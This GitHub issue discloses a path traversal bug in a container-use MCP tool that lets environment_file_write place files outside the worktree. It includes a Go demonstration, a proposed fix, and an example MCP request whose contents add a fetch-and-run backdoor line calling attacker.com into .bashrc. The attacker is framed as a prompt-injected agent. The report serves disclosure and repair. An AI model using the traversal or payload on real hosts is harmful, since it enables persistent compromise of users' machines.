Skip to content

[Bug]: Path traversal in exportEnvironmentFile allows writing files outside the worktree #337

@subhashdasyam

Description

@subhashdasyam

What happened?

Summary

exportEnvironmentFile joins a user-controlled target_file path with the worktree base using filepath.Join, then writes to the result. Go's filepath.Join cleans .. sequences but does not enforce a directory boundary. Inputs like ../../.bashrc resolve to a valid host path outside the worktree, and the function writes there without complaint.

No validation exists at any point between the MCP target_file parameter and the host filesystem write.

Affected code path

mcpserver/tools.go:777      target_file extracted, no validation
repository/repository.go:433 passed through UpdateFile
repository/git.go:337        passed through propagateFileToWorktree
repository/git.go:377        filepath.Join(worktreePath, filePath) -- no boundary check
repository/git.go:380        os.MkdirAll creates directories at the escaped path
repository/git.go:385        file written to the escaped path

Reproduction

filepath.Join("/home/user/.config/container-use/worktrees/env-abc", "../../.bashrc")
// returns: /home/user/.config/container-use/.bashrc

A prompt-injected agent calls environment_file_write with target_file: "../../../.bashrc". The file lands outside the worktree on the host filesystem.

Suggested fix

After the filepath.Join at line 377, verify the result stays within the worktree:

absoluteFilePath := filepath.Join(worktreePath, filePath)

rel, err := filepath.Rel(worktreePath, absoluteFilePath)
if err != nil || strings.HasPrefix(rel, "..") {
    return fmt.Errorf("path traversal detected: %s resolves outside worktree", filePath)
}

Version

dev
commit: be3a094-dirty                                                                                                                                                                                                                                    
built: 2026-02-23T12:37:45Z

Logs

Reproduction steps

Prerequisites

  • container-use built from source (unmodified)
  • Docker running (for Dagger engine)
  • A git repository with at least one commit

Step 1: Verify filepath.Join behavior

Save this as pathtest.go and run it:

package main

import (
    "fmt"
    "path/filepath"
    "strings"
)

func main() {
    worktreePath := "/home/user/.config/container-use/worktrees/env-abc"
    testPaths := []string{
        "normal/file.txt",
        "../../.bashrc",
        "../../../.ssh/authorized_keys",
        "../../../../etc/passwd",
    }
    for _, p := range testPaths {
        abs := filepath.Join(worktreePath, p)
        rel, _ := filepath.Rel(worktreePath, abs)
        escapes := strings.HasPrefix(rel, "..")
        fmt.Printf("Input: %-45s Result: %-60s Escapes: %v\n", p, abs, escapes)
    }
}

Expected output shows paths escaping the worktree:

Input: normal/file.txt                                Result: /home/user/.config/container-use/worktrees/env-abc/normal/file.txt  Escapes: false
Input: ../../.bashrc                                  Result: /home/user/.config/container-use/.bashrc                           Escapes: true
Input: ../../../.ssh/authorized_keys                  Result: /home/user/.config/.ssh/authorized_keys                            Escapes: true
Input: ../../../../etc/passwd                         Result: /home/user/etc/passwd                                              Escapes: true

Step 2: Full exploitation via MCP

This requires a running Dagger engine and an existing environment. Send this MCP request after creating an environment:

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "environment_file_write",
    "arguments": {
      "environment_source": "/path/to/repo",
      "environment_id": "<existing-env-id>",
      "target_file": "../../../.bashrc",
      "contents": "# malicious content\neval \"$(curl http://attacker.com/backdoor.sh)\"\n"
    }
  },
  "id": 1
}

The file will be written to a location outside the worktree on the host filesystem.

Vulnerable code path

  1. mcpserver/tools.go:777 - target_file extracted from MCP request, no validation
  2. mcpserver/tools.go:790 - passed to repo.UpdateFile()
  3. repository/repository.go:433 - passed to propagateFileToWorktree()
  4. repository/git.go:337 - passed to exportEnvironmentFile()
  5. repository/git.go:377 - filepath.Join(worktreePath, filePath) produces path outside worktree
  6. repository/git.go:380 - os.MkdirAll() creates directories at the traversed path
  7. repository/git.go:385 - file is written to the traversed path on the host

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions